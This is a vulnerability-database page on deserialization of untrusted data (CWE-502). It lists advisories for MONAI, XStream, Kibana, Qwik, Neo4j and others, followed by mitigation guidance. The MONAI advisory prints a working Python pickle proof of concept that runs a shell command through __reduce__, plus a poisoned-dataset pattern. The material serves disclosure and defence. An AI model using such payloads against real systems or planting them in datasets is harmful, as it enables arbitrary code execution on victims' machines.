Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4804 vulnerabilities reference this CWE, most recent first.

GHSA-P8CM-MM2V-GWJM

Vulnerability from github – Published: 2025-09-09 21:21 – Updated: 2026-06-06 00:33
VLAI
Summary
Monai: Unsafe use of Pickle deserialization may lead to RCE
Details

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  

class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  

malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T21:21:23Z",
    "nvd_published_at": "2025-09-09T00:15:32Z",
    "severity": "HIGH"
  },
  "details": "\u003eTo prevent this report from being deemed inapplicable or out of scope, due to the project\u0027s unique nature (for medical applications) and widespread popularity (6k+ stars), it\u0027s important to pay attention to some of the project\u0027s inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations  \n\nimport pickle  \nimport subprocess  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):    \n        return (subprocess.call, ([\u0027touch\u0027, \u0027/tmp/hacker1.txt\u0027],))  \n  \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = {  \n    \u0027image\u0027: \u0027normal_image_data\u0027,  \n    \u0027label_transforms\u0027: malicious_data,  \n    \u0027metadata_transforms\u0027: malicious_data  \n}\n\nresult = pickle_operations(attack_data, is_encode=False)  \n```\n\n```\n#My /tmp directory contents before running the POC\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nBefore running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.\n```\n#Running Poc\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid\n```\nThe above proof-of-concept is merely a validation of the vulnerability.\nThe attacker creates malicious dataset content.\n```\nmalicious_data = {\n  \u0027image\u0027: normal_image_tensor,\n  \u0027label\u0027: normal_label_tensor,\n  \u0027preprocessing_transforms\u0027: pickle.dumps(MaliciousPayload()), # Malicious payload\n  \u0027augmentation_transforms\u0027: pickle.dumps(MaliciousPayload()) # Multiple attack points\n}\n\ndataset = [malicious_data, ...]\n```\nWhen a user batch-processes data using MONAI\u0027s list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.\n```\nfrom monai.data import list_data_collate\n\ndataloader = DataLoader(\ndataset,\nbatch_size=4,\ncollate_fn=list_data_collate # Trigger the vulnerability\n)\n\n# Automatically execute malicious code while traversing the data\n\nfor batch in dataloader:\n\n# Malicious code is executed in pickle_operations\n\npass\n```\nWhen a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.\n\n### Impact\nArbitrary code execution\n\n### Repair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface\u0027s transformer library.",
  "id": "GHSA-p8cm-mm2v-gwjm",
  "modified": "2026-06-06T00:33:22Z",
  "published": "2025-09-09T21:21:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-p8cm-mm2v-gwjm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/pull/8566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-142.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Monai: Unsafe use of Pickle deserialization may lead to RCE"
}

GHSA-P8PQ-R894-FM8F

Vulnerability from github – Published: 2021-08-25 14:47 – Updated: 2022-02-08 21:00
VLAI
Summary
XStream is vulnerable to an Arbitrary Code Execution attack
Details

Impact

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Patches

XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

Workarounds

See workarounds for the different versions covering all CVEs.

References

See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for CVE-2021-39146.

Credits

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

For more information

If you have any questions or comments about this advisory: * Open an issue in XStream * Contact us at XStream Google Group

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.thoughtworks.xstream:xstream"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-23T18:22:13Z",
    "nvd_published_at": "2021-08-23T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream\u0027s security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream\u0027s documentation for [CVE-2021-39146](https://x-stream.github.io/CVE-2021-39146.html).\n\n### Credits\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n",
  "id": "GHSA-p8pq-r894-fm8f",
  "modified": "2022-02-08T21:00:18Z",
  "published": "2021-08-25T14:47:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/x-stream/xstream"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/22KVR6B5IZP3BGQ3HPWIO2FWWCKT3DHP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVPHZA7VW2RRSDCOIPP2W6O5ND254TU7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QGXIU3YDPG6OGTDHMBLAFN7BPBERXREB"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210923-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://x-stream.github.io/CVE-2021-39146.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XStream is vulnerable to an Arbitrary Code Execution attack"
}

GHSA-P95X-PV3H-FH38

Vulnerability from github – Published: 2022-05-17 00:25 – Updated: 2022-05-17 00:25
VLAI
Details

The Qpid server on Red Hat Satellite 6 does not properly restrict message types, which allows remote authenticated users with administrative access on a managed content host to execute arbitrary code via a crafted message, related to a pickle processing problem in pulp.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-5164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-18T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Qpid server on Red Hat Satellite 6 does not properly restrict message types, which allows remote authenticated users with administrative access on a managed content host to execute arbitrary code via a crafted message, related to a pickle processing problem in pulp.",
  "id": "GHSA-p95x-pv3h-fh38",
  "modified": "2022-05-17T00:25:39Z",
  "published": "2022-05-17T00:25:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5164"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1247732"
    },
    {
      "type": "WEB",
      "url": "https://pulp.plan.io/issues/23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P97H-V2QF-9878

Vulnerability from github – Published: 2025-05-23 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in GoodLayers Goodlayers Hostel allows Object Injection. This issue affects Goodlayers Hostel: from n/a through 3.1.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-39500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-23T13:15:31Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in GoodLayers Goodlayers Hostel allows Object Injection. This issue affects Goodlayers Hostel: from n/a through 3.1.2.",
  "id": "GHSA-p97h-v2qf-9878",
  "modified": "2026-04-01T18:35:14Z",
  "published": "2025-05-23T15:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39500"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/gdlr-hostel/vulnerability/wordpress-goodlayers-hostel-plugin-3-1-2-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9QH-H9CJ-HC7V

Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31
VLAI
Details

Deserialization of Untrusted Data vulnerability in wpdive Nexa Blocks nexa-blocks allows Object Injection.This issue affects Nexa Blocks: from n/a through <= 1.1.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-25429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in wpdive Nexa Blocks nexa-blocks allows Object Injection.This issue affects Nexa Blocks: from n/a through \u003c= 1.1.1.",
  "id": "GHSA-p9qh-h9cj-hc7v",
  "modified": "2026-03-26T18:31:34Z",
  "published": "2026-03-25T18:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25429"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/nexa-blocks/vulnerability/wordpress-nexa-blocks-plugin-1-1-1-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9R8-4CWF-V3W6

Vulnerability from github – Published: 2024-10-20 09:30 – Updated: 2026-04-01 18:32
VLAI
Details

Deserialization of Untrusted Data vulnerability in Smartdevth Advanced Advertising System allows Object Injection.This issue affects Advanced Advertising System: from n/a through 1.3.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-20T09:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Smartdevth Advanced Advertising System allows Object Injection.This issue affects Advanced Advertising System: from n/a through 1.3.1.",
  "id": "GHSA-p9r8-4cwf-v3w6",
  "modified": "2026-04-01T18:32:07Z",
  "published": "2024-10-20T09:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49624"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/advanced-advertising-system/vulnerability/wordpress-advanced-advertising-system-plugin-1-3-1-php-object-injection-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/advanced-advertising-system/wordpress-advanced-advertising-system-plugin-1-3-1-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9RC-M4R5-4RPR

Vulnerability from github – Published: 2024-11-14 18:30 – Updated: 2025-10-01 21:30
VLAI
Details

A deserialization issue in Kibana can lead to arbitrary code execution when Kibana attempts to parse a YAML document containing a crafted payload. A successful attack requires a malicious user to have a combination of both specific Elasticsearch indices privileges https://www.elastic.co/guide/en/elasticsearch/reference/current/defining-roles.html#roles-indices-priv  and Kibana privileges https://www.elastic.co/guide/en/fleet/current/fleet-roles-and-privileges.html  assigned to them.

The following Elasticsearch indices permissions are required

  • write privilege on the system indices .kibana_ingest*
  • The allow_restricted_indices flag is set to true

Any of the following Kibana privileges are additionally required

  • Under Fleet the All privilege is granted
  • Under Integration the Read or All privilege is granted
  • Access to the fleet-setup privilege is gained through the Fleet Server’s service account token
Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-37285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-14T17:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "A deserialization issue in Kibana can lead to arbitrary code execution when Kibana attempts to parse a YAML document containing a crafted payload. A successful attack requires a malicious user to have a combination of both specific  Elasticsearch indices privileges https://www.elastic.co/guide/en/elasticsearch/reference/current/defining-roles.html#roles-indices-priv \u00a0and  Kibana privileges https://www.elastic.co/guide/en/fleet/current/fleet-roles-and-privileges.html \u00a0assigned to them.\n\n\n\nThe following Elasticsearch indices permissions are required\n\n  *  write\u00a0privilege on the system indices .kibana_ingest*\n  *  The allow_restricted_indices\u00a0flag is set to true\n\n\nAny of the following Kibana privileges are additionally required\n\n  *  Under Fleet\u00a0the All\u00a0privilege is granted\n  *  Under Integration\u00a0the Read\u00a0or All\u00a0privilege is granted\n  *  Access to the fleet-setup\u00a0privilege is gained through the Fleet Server\u2019s service account token",
  "id": "GHSA-p9rc-m4r5-4rpr",
  "modified": "2025-10-01T21:30:34Z",
  "published": "2024-11-14T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37285"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-15-1-security-update-esa-2024-27-esa-2024-28/366119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9VX-HJR4-HVX2

Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18
VLAI
Details

ValidFormBuilder version 4.5.4 contains a PHP Object Injection vulnerability in Valid Form unserialize method that can result in Possible to execute unauthorised system commands remotely and disclose file contents in file system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-09T23:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "ValidFormBuilder version 4.5.4 contains a PHP Object Injection vulnerability in Valid Form unserialize method that can result in Possible to execute unauthorised system commands remotely and disclose file contents in file system.",
  "id": "GHSA-p9vx-hjr4-hvx2",
  "modified": "2022-05-13T01:18:43Z",
  "published": "2022-05-13T01:18:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/validformbuilder/validformbuilder/issues/126"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9X5-JP3H-96MM

Vulnerability from github – Published: 2026-03-02 21:41 – Updated: 2026-03-04 02:00
VLAI
Summary
Qwik vulnerable to Unauthenticated RCE via server$ Deserialization
Details

Summary

qwik <=1.19.0 is vulnerable to RCE due to an unsafe deserialization vulnerability in the server$ RPC mechanism that allows any unauthenticated user to execute arbitrary code on the server with a single HTTP request. Affects any deployment where require() is available at runtime.

Impact

  • Remote Code Execution
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@builder.io/qwik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:41:18Z",
    "nvd_published_at": "2026-03-03T23:15:56Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nqwik \u003c=1.19.0 is vulnerable to RCE due to an unsafe deserialization vulnerability in the `server$` RPC mechanism that allows any unauthenticated user to execute arbitrary code on the server with a single HTTP request. Affects any deployment where `require()` is available at runtime.\n\n### Impact\n- Remote Code Execution",
  "id": "GHSA-p9x5-jp3h-96mm",
  "modified": "2026-03-04T02:00:51Z",
  "published": "2026-03-02T21:41:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QwikDev/qwik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/releases/tag/%40builder.io%2Fqwik%401.19.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Qwik vulnerable to Unauthenticated RCE via server$ Deserialization"
}

GHSA-PC4W-8V5J-29W9

Vulnerability from github – Published: 2021-09-01 18:31 – Updated: 2021-08-30 21:46
VLAI
Summary
Deserialization of Untrusted Data in Neo4j
Details

Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.neo4j:neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-34371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-30T21:46:09Z",
    "nvd_published_at": "2021-08-05T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.",
  "id": "GHSA-pc4w-8v5j-29w9",
  "modified": "2021-08-30T21:46:09Z",
  "published": "2021-09-01T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34371"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/neo4j/neo4j"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50170"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Neo4j"
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.